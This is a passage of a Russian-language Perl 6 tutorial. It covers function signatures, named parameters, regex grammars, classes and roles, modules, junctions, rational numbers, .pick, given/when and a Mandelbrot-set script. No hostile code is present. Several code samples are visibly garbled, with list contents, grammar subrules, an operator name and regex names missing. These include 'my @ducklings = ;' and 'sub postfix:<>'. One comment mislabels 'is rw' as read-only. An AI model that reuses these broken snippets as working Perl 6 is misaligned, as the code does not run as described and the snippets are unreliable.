unless $grade ~~ Int && $grade ~~ 0..5;
%grades{$essay} = $grade;
}
```
В Perl 5 надо было писать isa вместо ~~, и $grades вместо %grades, но только и всего. Теперь взгляните и ужаснитесь, как много ручных проверок пришлось бы провести. Чувствуете? То-то.
В Perl 5 этим занимаются разные удобные модули со CPAN, к примеру Sub::Signatures или MooseX::Declare.
В Perl 6 доступны и другие способы. Например, этот пример можно записать так:
```
sub grade_essay(Essay $essay, Int $grade where 0..5) {
%grades{$essay} = $grade;
}
```
Другое дело, и без всяких сторонних модулей. Иногда удобно задавать значения по умолчанию:
```
sub entreat($message = 'Ну пазалуста!', $times = 1) {
say $message for ^$times;
}
```
Этим значениям не обязательно быть константами, а ещё они могут включать предыдущие параметры:
```
sub xml_tag ($tag, $endtag = matching_tag($tag) ) {...}
```
Если значение по умолчанию не задано, отметьте параметр как необязательный знаком вопроса:
```
sub deactivate(PowerPlant $plant, Str $comment?) {
$plant.initiate_shutdown_sequence();
say $comment if $comment;
}
```
Что особенно круто, на параметры можно ссылаться по имени, и передавать их в любом порядке. Никогда не мог запомнить последовательность параметров:
```
sub draw_line($x1, $y1, $x2, $y2) { ... }
draw_line($x1, $y1, $x2, $y2); # ух, на этот раз всё верно.
draw_line($x1, $x2, $y1, $y2); # блин! :-/
```
А так можно ссылаться на них по имени:
```
draw_line(:x1($x1), :y1($y1), :x2($x2), :y2($y2)); # работает
draw_line(:x1($x1), :x2($x2), :y1($y1), :y2($y2)); # и так работает!
```
Двоеточие означает «сейчас будет именованный параметр», а всё вместе будет: имя\_параметра($переданная\_переменная). Когда имена параметров и переменных совпадают, можно использовать краткую запись:
```
draw_line(:$x1, :$y1, :$x2, :$y2); # работает!
draw_line(:$x1, :$x2, :$y1, :$y2); # и так работает!
```
Если автор какого-либо API захочет, чтобы все использовали именованные параметры, ему необходимо будет указать двоеточия в объявлении функции:
```
sub draw_line(:$x1, :$y1, :$x2, :$y2 ) { ... } # необязательные именованные параметры
```
Именованные параметры не обязательны по умолчанию. Иначе говоря, верхний пример эквивалентен следующему:
```
sub draw_line(:$x1?, :$y1?, :$x2?, :$y2?) { ... } # необязательные именованные параметры
```
Если вам нужно сделать параметры обязательными, используйте восклицательный знак:
```
sub draw_line(:$x1!, :$y1!, :$x2!, :$y2!) { ... } # обязательные именованные параметры
```
Теперь их необходимо передавать.
А как насчёт переменного количества параметров? Легко: сделайте параметром массив, которому предшествует звёздочка:
```
sub sum(*@terms) {
[+] @terms
}
say sum 100, 20, 3; # 123
```
Получается, что если вы не задаёте ограничения на параметры будущей функции, то она получает ограничения по умолчанию \* @\_. Что означает – отсутствие ограничений, или эмуляция поведения Perl 5.
Но массив со звездой получает только расположенные в определённом порядке параметры. Если вам нужно передавать именованные параметры, используйте хеш:
```
sub detect_nonfoos(:$foo!, *%nonfoos) {
say "Кроме 'foo' вы передали ", %nonfoos.keys.fmt("'%s;
}
detect_nonfoos(:foo(1), :bar(2), :baz(3));
# Кроме 'foo' вы передали 'bar', 'baz'
```
Стоит отметить, что вы можете передавать именованные параметры на манер хеша:
```
detect_nonfoos(foo => 1, bar => 2, baz => 3);
# Кроме 'foo' вы передали 'bar', 'baz'
```
Ещё одно отличие от Perl 5: по умолчанию, параметры предназначены только для чтения:
```
sub increase_by_one($n) {
++$n
}
my $value = 5;
increase_by_one($value); # хрясь
```
Одна из причин – эффективность. Оптимизаторам нравятся переменные только для чтения. Вторая – воспитание правильных привычек в программисте. Функциональное программирование хорошо и для оптимизатора и для души.
Чтобы верхний пример заработал, нужно записать его так:
```
sub increase_by_one($n is rw) {
++$n
}
my $value = 5;
say increase_by_one($value); # 6
```
Иногда это подходит, но иногда проще изменять копию параметра:
```
sub format_name($first, $middle is copy, $last) {
$middle .= substr(0, 1);
"$first $middle. $last"
}
```
Оригинальная переменная останется неизменной.
В Perl 6 передача массива или хеша не выравнивает аргументы по умолчанию. Вместо этого для принудительного выравнивания нужно использовать “|”:
```
sub list_names($x, $y, $z) {
"$x, $y and $z"
}
my @ducklings = ;
try {
list\_names(@ducklings);
}
say $!; # 'Недостаточно параметров передано;
# получен 1, ожидалось 3'
say list\_names(|@ducklings); # 'huey, dewey and louie'
```
При выравнивании хеша его содержимое будет передано в виде именованных параметров.
Кроме массивов и хешей возможно передавать блоки кода:
```
sub traverse_inorder(TreeNode $n, &action) {
traverse_inorder($n.left, &action) if $n.left;
action($n);
traverse_inorder($n.right, &action) if $n.right;
}
```
Три символа выступают в роли ограничителей типов:
@ Array (позиционные)
% Hash (ассоциативные)
& Code (вызываемые)
$ — параметр без ограничений.
Не попадитесь в ловушку, пытаясь назначить тип дважды – через имя типа и через символ:
```
sub f(Array @a) { ... } # неправильно, если только вам не нужен массив массивов
sub f( @a) { ... } # вот, что вы имели в виду
sub f(Int @a) { ... } # массив целых чисел
```
Если вы дочитали до этого места, вы заслуживаете ещё один однострочник:
```
$ perl6 -e '.fmt("%b").trans("01" => " #").say for <734043054508967647390469416144647854399310>.comb(/.**7/)'
### ## ###
# # ## # ## # #
### # # ## # ####
# #### # # # #
# # # # # #
# ## # ## ###
```
#### История с регулярками
Давным-давно в не самом далёком королевстве, ученик программиста Perl 6 по имени Тим работал над простой проблемой парсинга. Его босс, мистер С, задал ему парсинг логов, содержащих инвентаризационную информацию, чтобы удостовериться, что они содержат только допустимые строки. Допустимые строки должны выглядеть так:
```
<номер запчасти> <количество> <цвет > <описание>
```
Ученик, немного знакомый с регулярками, написал красивую регулярочку для определения допустимых строчек. Код выглядел так:
```
next unless $line ~~ / ^^ \d+ \s+ \d+ \s+ \S+ \s+ \N* $$ /
```
Оператор ~~ проверяет регулярку справа относительно скаляра слева. В регулярке, ^^ означает начало строки, \d+ — не менее одной цифры, \S+ — не менее одного непробельного символа, \N\* любое количество символов, не являющихся переводом строки, \s+ пробелы и $$ конец строки. В Perl 6 эти символы можно разделять пробелами для улучшения читаемости. И всё было замечательно.
Но затем мистер С решил, что неплохо было бы извлекать информацию из логов, а не просто проверять его. Тим подумал, что проблем нет и надо просто добавить захватывающие скобки. Так он и сделал:
```
next unless $line ~~ / ^^ (\d+) \s+ (\d+) \s+ (\S+) \s+ (\N*) $$ /
```
После совпадения содержимое каждой пары скобок доступно через запись $/[0], $[1] и т.д. Или через переменные $0, $1, $2, и т.д. Тим был счастлив, мистер С тоже.
Но потом оказалось, что на некоторых строках цвет не был отделён от описания. Такие строки выглядели следующим образом:
```
()
```
При этом в описании могло быть любое количество символов с пробелами. «Ёжики-корёжики,- подумал Тим,- задача только что сильно усложнилась!». Но Тим знал, где спросить совета. Он быстро зашёл на irc.freenode.org в канал #perl6 и спросил там. Кто-то посоветовал поименовать части регулярки, чтобы облегчить работу с ними и затем использовать альтернацию, чтобы поймать все возможные альтернативы.
Сначала Тим попробовал именовать части регулярки. Посмотрев на описание регулярок в Perl 6, Тим обнаружил, что может сделать такую запись:
```
next unless $line ~~ / ^^ $=(\d+) \s+ $=(\d+) \s+ $=(\S+) \s+ $=(\N\*) $$ /
```
И тогда, после нахождения, кусочки регулярки доступны через объект match или переменные $, $, $ и $. Это было просто, и Тим воспрял духом. Затем он добавил альтернацию, чтобы оба варианта строк могли пройти проверку:
```
next unless $line ~~ / ^^
$=(\d+) \s+ $=(\d+) \s+
[
| $=(\N\*) \s+ '(' $=(\S+) ')'
| $=(\S+) \s+ $=(\N\*)
]
$$
/
```
Для изолирования альтернации от остальной регулярки Тим окружил её группирующими квадратными скобками. Эти скобки отделяют часть регулярки, примерно как круглые, но не возвращают отделённые части в переменные $0 и т.п. Поскольку ему нужно было отлавливать круглые скобки в файле, Тим воспользовался ещё одной удобной особенностью Perl 6: то, что заключено в кавычки, ищется в тексте, как есть.
Тим был воодушевлён. Он показал код мистеру С, и тот тоже воодушевился! «Отлично сработано, Тим!»,- сказал мистер С. Все были счастливы, а Тим светился от гордости.
Однако затем он критически присмотрелся к своей работе. У некоторых строк цвет задавался как “( color)” or “( color )” or “( color )”. В результате регулярка причисляла такие цвета к описанию, а переменную $ не задавала вообще. Это было неприемлемо. Тим переписал регулярку, добавив туда ещё \s\*:
```
next unless $line ~~ / ^^
$=(\d+) \s+ $=(\d+) \s+
[
| $=(\N\*) \s+ '(' \s\* $=(\S+) \s\* ')'
| $=(\S+) \s+ $=(\N\*)
]
$$
/
```
Это сработало, но регулярка стала выглядеть неуклюже. И Тим снова обратился на канал #perl6.
В этот раз пользователь под именем PerlJam сказал: «Почему бы тебе не поместить свою регулярку в грамматику? Ведь ты практически этим и занимаешься, назначая каждому кусочку свою переменную». «Щито?»,- подумал Тим. Он не имел понятия, о чём PerlJam говорит. После недолгой беседы Тим вроде бы понял, что имеется в виду, поблагодарил пользователя и уселся писать код. На этот раз регулярка исчезла и превратилась в грамматику. Вот, как она выглядела:
```
grammar Inventory {
regex product { \d+ }
regex quantity { \d+ }
regex color { \S+ }
regex description { \N* }
regex TOP { ^^ \s+ \s+
[
| \s+ '(' \s\* \s\* ')'
| \s+
]
$$
}
}
# ... а затем, в том месте кода, где проверяется совпадение:
next unless Inventory.parse($line);
```
«Что ж,- подумал Тим,- на этот раз всё организовано неплохо».
Каждая из прошлых переменных превратилась в свою регулярку внутри грамматики. В регулярке Perl 6 именованные регулярки добавляются к проверке через заключение их в угловые скобки. Особая регулярка TOP используется при вызове Grammar.parse со скаляром. А поведение получается таким же – найденная часть выражения сохраняется в именованной переменной.
И хотя совершенству нет предела, Тим и мистер С были очень довольны результатом.
Конец!
#### Классы, атрибуты, методы, и прочие
Как записывать класс в новой объектной модели Perl 6:
```
class Dog {
has $.name;
method bark($times) {
say "w00f! " x $times;
}
}
```
Начинаем с ключевого слова class. Для знающих Perl 5 class чем-то похож на package, но «из коробки» даёт кучу семантических возможностей.
Затем мы использовали ключевое слово has, объявляя атрибут, у которого есть метод-акцессор. Точка между $ и name – это твиджил, который сообщает об особенностях доступа к переменной. Твиджил-точка означает «атрибут + акцессор». Ещё варианты:
```
has $!name; # приватный, доступный только из класса
has $.name is rw; # акцессор только для чтения
```
Затем объявлен метод через ключевое слово method. Метод – как процедура, только со своей записью в таблице методов класса. Он доступен для вызова через $self.
Все классы наследуют конструктора по умолчанию по имени new, который назначает именованные параметры атрибутам. Для получения экземпляра класса можно написать так:
```
my $fido = Dog.new(name => 'Fido');
say $fido.name; # Fido
$fido.bark(3); # w00f! w00f! w00f!
```
Вызов методов осуществляется точкой вместо стрелочки в Perl 5. Она на 50% короче и знакома программистам других языков.
Конечно, есть и наследование. Вот так мы можем создать класс щенка:
```
class Puppy is Dog {
method bark($times) {
say "yap! " x $times;
}
}
```
Есть и делегирование:
```
class DogWalker {
has $.name;
has Dog $.dog handles (dog_name => 'name');
}
my $bob = DogWalker.new(name => 'Bob', dog => $fido);
say $bob.name; # Bob
say $bob.dog_name; # Fido
```
Здесь мы объявляем, что вызовы метода dog\_name класса DogWalker переадресовываются методу name класса Dog.
Под слоями всей этой красоты есть мета-модель. Классы, атрибуты и методы представлены через мета-объекты. Вот так можно работать с объектами во время исполнения:
```
for Dog.^methods(:local) -> $meth {
say "Dog has a method " ~ $meth.name;
}
```
Оператор .^ является вариантом., но он вызывает метакласс – объект, представляющий класс. Здесь мы просим у него дать список методов, определённых в классе (:local исключает методы, унаследованные от других классов). А получаем мы не просто список имён, а список объектов Method. Мы могли бы таким способом вызвать сам метод, но в данном случае просто выводим его имя.
Любители мета-программирования, желающие расширять синтаксис Perl 6, будут в восторге, узнав что использование ключевого слова method на самом деле приводит к вызову add\_method из мета-класса. Поэтому в Perl 6 есть не только мощный синтаксис для описания объектов, но ещё и возможность расширять его для тех случаев, которые мы пока ещё не предусмотрели.
#### Модули и экспорт
Чтобы создать библиотеку в Perl 6, нужно использовать ключевое слово module:
```
module Fancy::Utilities {
sub lolgreet($who) {
say "O HAI " ~ uc $who;
}
}
```
Разместите это в файл Fancy/Utilities.pm где-нибудь в $PERL6LIB, и затем сможете использовать это так:
```
use Fancy::Utilities;
Fancy::Utilities::lolgreet('Tene');
```
Не особенно удобно. Как и в Perl 5, есть возможность обозначить, что некоторые вещи должны быть доступны в области видимости того кода, который загружает этот модуль. Для этого есть такой синтакс:
```
# Utilities.pm
module Fancy::Utilities {
sub lolgreet($who) is export {
say "O HAI " ~ uc $who;
}
}
# foo.pl
use Fancy::Utilities;
lolgreet('Jnthn');
```
Помеченные “is export” символы экспортируются по умолчанию. Также можно отмечать, что символы экспортируются в рамках именованной группы:
```
module Fancy::Utilities {
sub lolgreet($who) is export(:lolcat, :greet) {
say "O HAI " ~ uc $who;
}
sub nicegreet($who) is export(:greet, :DEFAULT) {
say "Good morning, $who!"; # Always morning?
}
sub shortgreet is export(:greet) {
say "Hi!";
}
sub lolrequest($item) is export(:lolcat) {
say "I CAN HAZ A {uc $item}?";
}
}
```
Эти теги можно использовать в загружающем коде, чтобы выбирать, что именно импортировать:
```
use Fancy::Utilities; # получаем только DEFAULTs
use Fancy::Utilities :greet, :lolcat;
use Fancy::Utilities :ALL; # берём всё, что можно экспортировать
```
Мульти-процедуры экспортируются по умолчанию, им можно только дать метки по желанию:
```
multi sub greet(Str $who) { say "Good morning, $who!" }
multi sub greet() { say "Hi!" }
multi sub greet(Lolcat $who) { say "O HAI " ~ $who.name }
```
Классы являются специализацией модулей, поэтому из них тоже можно что-нибудь экспортировать. В дополнение, можно экспортировать метод, чтобы использовать его как мульти-процедуру. К примеру, следующий код экспортирует метод close из класса IO, чтобы его можно было вызывать как “close($fh);”
```
class IO {
...
method close() is export {
...
}
...
}
```
Perl 6 также поддерживает поимённое импортирование символов из библиотеки.
#### Объединения (junctions)
Среди новых фич Perl 6 я больше всего люблю объединения. Я представляю далеко не все варианты их использования, но знаю несколько удобных трюков.
Объединения– это переменные, которые могут содержать сразу несколько значений. Звучит странно, но давайте рассмотрим пример. Допустим, вам надо проверить переменную на соответствие одному из вариантов значений:
```
if $var == 3 || $var == 5 || $var == 7 { ... }
```
Никогда не любил эту фигню. Слишком много повторений. При помощи объединения any это можно записать так:
```
if $var == any(3, 5, 7) { ... }
```
В ядре языка есть концепция «автоматическое разделение объединений на потоки» (junctive autothreading). Это значит, что вы почти всегда можете передать объединение туда, где ожидается только одно значение. Код будет выполнен для всех членов объединения, а результат будет комбинацией всех полученных результатов.
В последнем примере == запускается для каждого элемента объединения и сравнивает его с $var. Результат каждого сравнения записывается в новое объединение any, которое затем вычисляется в булевом контексте в инструкции if. В булевом контексте объединение any является истиной, если любой из его членов – истина, поэтому если $var совпадёт с любым из значений объединения, тест будет пройден.
Это может сэкономить код и выглядит довольно красиво. Есть ещё один способ записи объединения any, которое можно сконструировать через оператор |:
```
if $var == 3|5|7 { ... }
```
При необходимости инвертировать результаты теста используется вариант объединения под названием none:
```
if $var == none(3, 5, 7) { ... }
```
Как можно догадаться, none в булевом контексте истинно, только если ни один из его элементов не истинный.
Автоматическое разделение на потоки работает и в других случаях:
```
my $j = any(1, 2, 3);
my $k = $j + 2;
```
Что произойдёт? По аналогии с первым примером, $k будет иметь значение any(3, 4, 5).
Объединения работают также и с «умным» поиском. Есть специальные типы объединений, которые хорошо для этого подходят.
Допустим, у вас есть текстовая строка, и вам надо узнать, совпадает ли она со всеми регулярками из набора:
```
$string ~~ // & // & //
```
Конечно, должны быть определены регулярки first, second and third. Как и |, & оператор, создающий объединения, но в данном случае все объединения будут истинны, если всех их члены также истинны.
Прелесть объединений в том, что их можно передавать практически любой функции любой библиотеки, и этой функции вовсе не обязательно знать о том, что это объединения (но есть возможность распознать их и работать с ними как-то по-особому). Если у вас есть функция, которая делает умное сравнение чего-либо с каким-то значением, его можно передать как объединение.
Есть ещё полезные штучки, которые можно провернуть при помощи объединений. Присутствует ли значение в списке:
```
any(@list) == $value
```
Списки легко и непринуждённо работают с объединениями. Например:
```
all(@list) > 0; # Все ли члены списка больше нуля?
all(@a) == any(@b); # Все ли элементы списка @a есть в @b?
```
#### Рациональные дроби
Perl 6 поддерживает рациональные дроби, которые создаются простым способом – делением одного целого на другое. Спервоначалу разглядеть что-либо необычное тут сложно:
```
> say (3/7).WHAT
Rat()
> say 3/7
0.428571428571429
```
Преобразование Rat в строку происходит посредством представления числа в виде записи с десятичной точкой. Но Rat используют точное внутреннее представление, а не приближённое, которым довольствуются числа с плавающей точкой вроде Num:
```
> say (3/7).Num + (2/7).Num + (2/7).Num - 1;
-1.11022302462516e-16
> say 3/7 + 2/7 + 2/7 - 1
0
```
Проще всего узнать, что происходит внутри числа Rat, используя встроенный метод .perl. Он возвращает человеко-читаемую строку, которая через eval превращается в исходный объект:
```
> say (3/7).perl
3/7
```
Можно выбрать компоненты Rat:
```
> say (3/7).numerator
3
> say (3/7).denominator
7
> say (3/7).nude.perl
[3, 7]
```
С Rat работают все стандартные числовые операции. Арифметические операции с Rat на выходе по возможности тоже дают Rat, а при невозможности – Num:
```
> my $a = 1/60000 + 1/60000; say $a.WHAT; say $a; say $a.perl
Rat()
3.33333333333333e-05
1/30000
> my $a = 1/60000 + 1/60001; say $a.WHAT; say $a; say $a.perl
Num()
3.33330555601851e-05
3.33330555601851e-05
> my $a = cos(1/60000); say $a.WHAT; say $a; say $a.perl
Num()
0.999999999861111
0.999999999861111
```
У Num есть модный метод, выдающий Rat заданного приближения (по умолчанию, 1е-6):
```
> say 3.14.Rat.perl
157/50
> say pi.Rat.perl
355/113
> say pi.Rat(1e-10).perl
312689/99532
```
По спецификации, числа записанные в исходном коде в виде десятичных, представляются в виде Rat.
```
> say 1.75.WHAT
Rat()
> say 1.75.perl
7/4
> say 1.752.perl
219/125
```
#### .pick
Ещё одно новшество Perl 6 – метод .pick, который позволяет выбрать случайный элемент списка. В Perl 5 это можно было сделать так:
```
my @dice = (1, 2, 3, 4, 5, 6);
my $index = int (rand() * scalar @dice);
print $dice[$index] . "\n";
> 5
```
В Perl 6 это будет проще, к тому же сразу можно выбрать несколько элементов:
```
my @dice = 1..6;
say @dice.pick(2).join(" ");
> 3 4
```
Ну-ка, посмотрим, какая у меня получится атака, если я выброшу 10 d6s…
```
my @dice = 1..6;
say @dice.pick(10).join(" ");
> 5 3 1 4 2 6
```
Получается, что .pick соответствует своему названию – если что-то вынуть из списка, то в списке его больше не оказывается. Если вам надо разрешить выбирать этот элемент повторно, используйте слово :replace
```
my @dice = 1..6;
say @dice.pick(10, :replace).join(" ");
> 4 1 5 6 4 3 3 5 1 1
```
Список не обязан содержать элементы в каком-то конкретном порядке. Вот купюры из «Монополии»:
```
my @dice = <1 5 10 20 50 100 500>;
say @dice.pick(10, :replace).join(" ");
> 20 50 100 500 500 10 20 5 50 20
```
А вот вариант для колоды карт:
```
use v6;
class Card
{
has $.rank;
has $.suit;
multi method Str()
{
return $.rank ~ $.suit;
}
}
my @deck;
for -> $rank
{
for < > -> $suit
{
@deck.push(Card.new(:$rank, :$suit));
}
}
# Shuffle the cards.
@deck .= pick(\*);
say @deck.Str;
```
Что делает pick(\*)? Рассмотрим чуть позже. Пока что подумайте, как можно улучшить код для колоды карт и сделать класс deck.
#### Старый добрый switch
Хотя конструкция и называется «оператор switch», ключевое слово изменено на given.
```
given $weather {
when 'sunny' { say 'Отлично! ' }
when 'cloudy' { say 'Ну блин. ' }
when 'rainy' { say 'Где ж мой зонт? ' }
when 'snowy' { say 'Йиха! ' }
default { say 'Ну всё, как обычно.' }
}
```
Нужно лишь отметить, что автоматически обрабатываются не все блоки when – если вдруг несколько условий будут выполнены одновременно, то выполнится только первый подходящий блок.
```
given $probability {
when 1.00 { say 'Однозначно' }
when * > 0.75 { say 'Скорее всего' }
when * > 0.50 { say 'Вероятно' }
when * > 0.25 { say 'Маловероятно' }
when * > 0.00 { say 'Вообще навряд ли' }
when 0.00 { say 'Ни за что' }
}
```
Если ваша $probability будет равна 0.80, код выдаст 'Скорее всего', а остальные варианты – не выдаст. Если вам надо, чтобы сработало несколько блоков, заканчивайте их словом continue (а управляющие блоками ключевые слова break/continue переименованы в succeed/proceed).
Заметьте, что в коде у выражения when используются и строки и числа. Как Perl 6 знает, как сопоставить заданное значение со значением when, если эти вещи могут быть совершенно разных типов?
В этом случае два значения обрабатываются через т.н. умное сравнение, которое упоминалось ранее. Умное сравнение, записываемое как $a ~~ $b, является более хитрым вариантом регулярок. Если задан промежуток, умное сравнение проверяет, попадает ли значение в него. Если $b – класс, или роль, или подтип, умное сравнение сверит типы. И так далее. Для значений типа Num и Str проверяется их эквивалентность.
Звёздочка проходит умное сравнение с чем угодно. А default означает то же, что и “when \*”.
А вот вам кое-что неожиданное: given и when могут употребляться независимо. Пока вы говорите своё «Щито?», я вам объясню, как это:
given – это одноразовый цикл.
```
given $punch-card {
.bend;
.fold;
.mutilate;
}
```
given здесь просто задаёт тему, которая известна перловикам как $\_. А вызовы методов .method эквивалентны вызову $\_.method
when можно использовать внутри любого блока, задавшего $\_, явно или неявно:
```
my $scanning;
for $*IN.lines {
when /start/ { $scanning = True }
when /stop/ { $scanning = False }
if $scanning {
# Выполнить что-либо, подходящее к тому моменту, когда мы
# находимся между строчками, содержащими 'start' и 'stop'
}
}
```
when демонстрирует то же поведение, что и в блоке given, т.е. пропускает оставшийся в блоке код после выполнения. В примере выше это означает переход на следующую строку.
Ещё пример, с явно заданным $\_:
```
sub fib(Int $_) {
when * < 2 { 1 }
default { fib($_ - 1) + fib($_ - 2) }
}
```
Независимость given и when можно использовать и в других ситуациях. При обработке блока CATCH, когда given работает с переменной $!, содержащей последнее пойманное исключение.
Варианты с изменённой последовательностью записи, когда выражение заканчивается оператором:
```
say .[0] + .[1] + .[2] given @list;
say 'Ух ты ж, да тут полно гласных!' when /^ <[аеиоюуэы]>+ $/;
```
when можно встроить в given:
```
say 'Бах!' when /призрак/ given $castle;
```
Поскольку given и when делают код очень понятным, вот вам очередная обфускация в стиле perl
```
$ perl6 -e 'for ^20 {my ($a,$b)=.pick.comb.pick(\*);\
my ($c,$d)=sort map {6+4\*sin($\_/2)},$\_,$\_+4;\
printf "%{$c}s%{$d-$c}s\n",$a,$b}'
G C
TA
C G
G C
C G
G C
T A
CG
CG
C G
T A
T A
T A
C G
TA
T A
T A
A T
C G
G C
```
#### Делаем снеговиков
Давайте я объясню вам работу с комплексными числами в Perl 6 на примере множества Мандельброта. Тут вам и высшая математика, и красивые картинки, и всякие продвинутые возможности языка.
Вот вам первая версия скрипта:
```
use v6;
my $height = @*ARGS[0] // 31;
my $width = $height;
my $max_iterations = 50;
my $upper-right = -2 + (5/4)i;
my $lower-left = 1/2 - (5/4)i;
sub mandel(Complex $c) {
my $z = 0i;
for ^$max_iterations {
$z = $z * $z + $c;
return 1 if ($z.abs > 2);
}
return 0;
}
sub subdivide($low, $high, $count) {
(^$count).map({ $low + ($_ / ($count - 1)) * ($high - $low) });
}
say "P1";
say "$width $height";
for subdivide($upper-right.re, $lower-left.re, $height) -> $re {
my @line = subdivide($re + ($upper-right.im)i, $re + 0i, ($width + 1) / 2).map({ mandel($_) });
my $middle = @line.pop;
(@line, $middle, @line.reverse).join(' ').say;
}
```
Строки 3-5 задают размер пискеля для графика. @\*ARGS – имя массива с параметрами командной строки. Оператор // — новый “defined”, он возвращает первый аргумент, если тот определён, а в другом случае – второй. Иными словами, строка 3 задаёт высоту величиной с первый аргумент командной строки, а если его нет – то в 31. Ширина задаётся равной высоте. $max\_iterations задают количество повторений основного цикла, после которого решается, что точка принадлежит набору (мы работаем с симметричными фигурами, поэтому ширина должна быть нечётным числом)
Строки 7-8 задают границы картинки на комплексной плоскости. Добавить мнимый компонент к числу очень просто, нужно лишь дописать к числу или выражению i. Получается число типа Complex. Он работает довольно интуитивно, например при добавлении Complex к Rat или Int мы опять получаем Complex.
Строки с 10 по 17 определяют основную функцию Мандельброта. Короче говоря, комплексное число с входит в множество, если уравнение z = z \* z + c (первоначальное z равно 0) остаётся ограниченным, если мы продолжаем делать итерации. Так функция и написана – мы определяем цикл, работающий $max\_iterations раз. Известно, что когда модуль z вырастает больше, чем 2, он не останется ограниченным, поэтому мы используем проверку $z.abs > 2. Если так выходит, мы выходим из цикла и возвращаем 1, обозначающую, что точка должна быть чёрной. Если цикл проходит максимальное количество раз и значение не выходит за рамки, мы возвращаем 0, и точка становится белой.
Строки 19-21 – вспомогательная функция, возвращающая арифметическую прогрессию от $low до $high с количеством элементов $count. Тип $low и $high не задан, поэтому здесь будет работать любой тип, допускающий базовые арифметические операции. В данном скрипте это сначала Num, затем Complex.
Строки 23-24 задают заголовок файла PBM.
Строки 26-30 рисуют картинку. $upper-right.re – реальная часть комплексного числа $upper-right, а $upper-right.im – мнимая. Цикл проходит по реальной части промежутка. В цикле мы опять берём подмножество из мнимой части, чтобы составить список комплексных значений, которые нужны нам для проверки половины этого ряда картинки. Затем этот список прогоняется через функцию mandel при помощи map, и на выходе получается список нолей и единиц для половины ряда, включая срединную точку.
Мы поступаем так, поскольку множество Мандельброта симметрично относительно оси. Поэтому мы выбираем последнюю, срединную точку, и разворачиваем список так, что он превращается в тот же список, только задом наперёд (и за исключением срединной точки). Заем мы передаём это в join, чтобы заполнить строку до конца и выводим её.
Такая операция выдаёт множество, повёрнутое на 90 градусов от обычного положения, поэтому мы получаем красивого такого снеговика:
Можно сделать этот алгоритм автоматически распараллеливающимся через гипероператоры, однако тут есть одна загвоздка: гипероператор не может вызывать обычную процедуру. Они вызывают только методы класса и операторы. Поэтому мы подправим класс Complex так, чтобы он содержал метод .mandel
```
augment class Complex {
method mandel() {
my $z = 0i;
for ^$max_iterations {
$z = $z * $z + self;
return 1 if ($z.abs > 2);
}
return 0;
}
}
for subdivide($upper-right.re, $lower-left.re, $height) -> $re {
my @line = subdivide($re + ($upper-right.im)i, $re + 0i, ($width + 1) / 2)>>.mandel;
my $middle = @line.pop;
(@line, $middle, @line.reverse).join(' ').say;
}
```
Разница в том, что mandel теперь – это метод, а роль аргумента $c взял себе self. И затем вместо map({mandel($\_)}) мы используем гипероператор.
Но если кому-то не нравится менять класс Complex, можно просто превратить mandel в оператор.
```
sub postfix:<>(Complex $c) {
my $z = 0i;
for ^$max_iterations {
$z = $z * $z + $c;
return 1 if ($z.abs > 2);
}
return 0;
}
for subdivide($upper-right.re, $lower-left.re, $height) -> $re {
my @line = subdivide($re + ($upper-right.im)i, $re + 0i, ($width + 1) / 2)>>;
my $middle = @line.pop;
(@line, $middle, @line.reverse).join(' ').say;
}
```
Perl 6 поддерживает Unicode, поэтому можно повеселиться и задать оператор через символ снеговика.
Для последней версии Rakudo я переделал скрипт, чтобы он выдавал разноцветную картинку. Он медленный и жрёт очень много памяти, но работает стабильно. Вот вам множество Мандельброта в разрешении 1001×1001, который просчитывался 14 часов, и которому потребовалось 6.4 GB памяти.
#### Роли
По традиции ООП, классы занимаются управлением экземплярами и повторным использованием. К сожалению, это приводит к противоположным результатам: повторное использование стремится сделать классы маленькими и минимальными, но если они представляют сложную сущность, они должны поддерживать всё, что для этого нужно. В Perl 6 классы сохраняют за собой управление экземплярами, а повторным использованием занимаются Роли.
Что же такое Роль? Представьте, что мы строим кучу классов, каждый из которых представляет разные типы продуктов. У некоторых будет общая функциональность и атрибуты. К примеру, у нас может быть роль BatteryPower.
```
role BatteryPower {
has $.battery-type;
has $.batteries-included;
method find-power-accessories() {
return ProductSearch::find($.battery-type);
}
}
```
На первый взгляд выглядит, как класс – атрибуты и методы. Однако, мы не можем использовать роль самостоятельно. Вместо этого мы вставляем (compose) её в класс через ключевое слово does.
```
class ElectricCar does BatteryPower {
has $.manufacturer;
has $.model;
}
```
Композиция берёт атрибуты и методы из роли и копирует их в класс. С этого момента всё работает так, будто атрибуты и методы были определены в самом классе. В отличие от наследования, где родительские классы ищутся в момент распределения методов, с ролями у классов нет связи в момент выполнения программы, кроме как то, что класс говорит «да» в ответ на вопрос, исполняет ли он какую-то конкретную роль.
Интересности начинаются, когда мы вставляем несколько ролей в класс. Предположим, у нас есть ещё одна роль, SocketPower.
```
role SocketPower {
has $.adapter-type;
has $.min-voltage;
has $.max-voltage;
method find-power-accessories() {
return ProductSearch::find($.adapter-type);
}
}
```
Ноутбук может работать от розетки или батареи, поэтому мы вставляем обе роли.
```
class Laptop does BatteryPower does SocketPower {
}
```
Пробуем компиляцию – и ничего не получается. В отличие от миксинов и наследования, все роли находятся в одинаковом положении. Если обе роли предлагают метод с одинаковыми именами – в нашем случае, find-power-accessories,- то возникает конфликт. Его можно разрешить, предоставив классу метод, который решает, что нужно делать.
```
class Laptop does BatteryPower does SocketPower {
method find-power-accessories() {
my $ss = $.adapter-type ~ ' OR ' ~ $.battery-type;
return ProductSearch::find($ss);
}
}
```
Это самый типичный пример использования ролей, но не единственный. Роль можно принять и вставить в объект (то есть, на уровне классов, а на уровне объектов) через операторы does и but, и это будет работать так, как интерфейсы в Java и C#. Но не будем сейчас об этом – я лучше покажу, как роли в Perl 6 справляются с обобщённым программированием, или параметрическим полиморфизмом.
Роли могут принимать параметры, которые могут быть типами или значениями. Например, можно сделать роль, которую мы назначаем продуктам, которым надо подсчитывать стоимость доставки. Однако, нам надо иметь возможность предоставлять другие модели подсчёта стоимости доставки, поэтому мы берём класс, который может обрабатывать стоимость доставки как параметр к роли.
```
role DeliveryCalculation[::Calculator] {
has $.mass;
has $.dimensions;
method calculate($destination) {
my $calc = Calculator.new(
:$!mass,
:$!dimensions
);
return $calc.delivery-to($destination);
}
}
```
Здесь ::Calculator в квадратных скобках после имени роли говорит о том, что мы хотим захватить объект и ассоциировать его с именем Calculator внутри роли. Затем мы можем использовать этот объект для вызова .new. Предположим, мы написали классы, подсчитывающие стоимость доставки ByDimension and ByMass. Тогда мы сможем написать:
```
class Furniture does DeliveryCalculation[ByDimension] {
}
class HeavyWater does DeliveryCalculation[ByMass] {
}
```
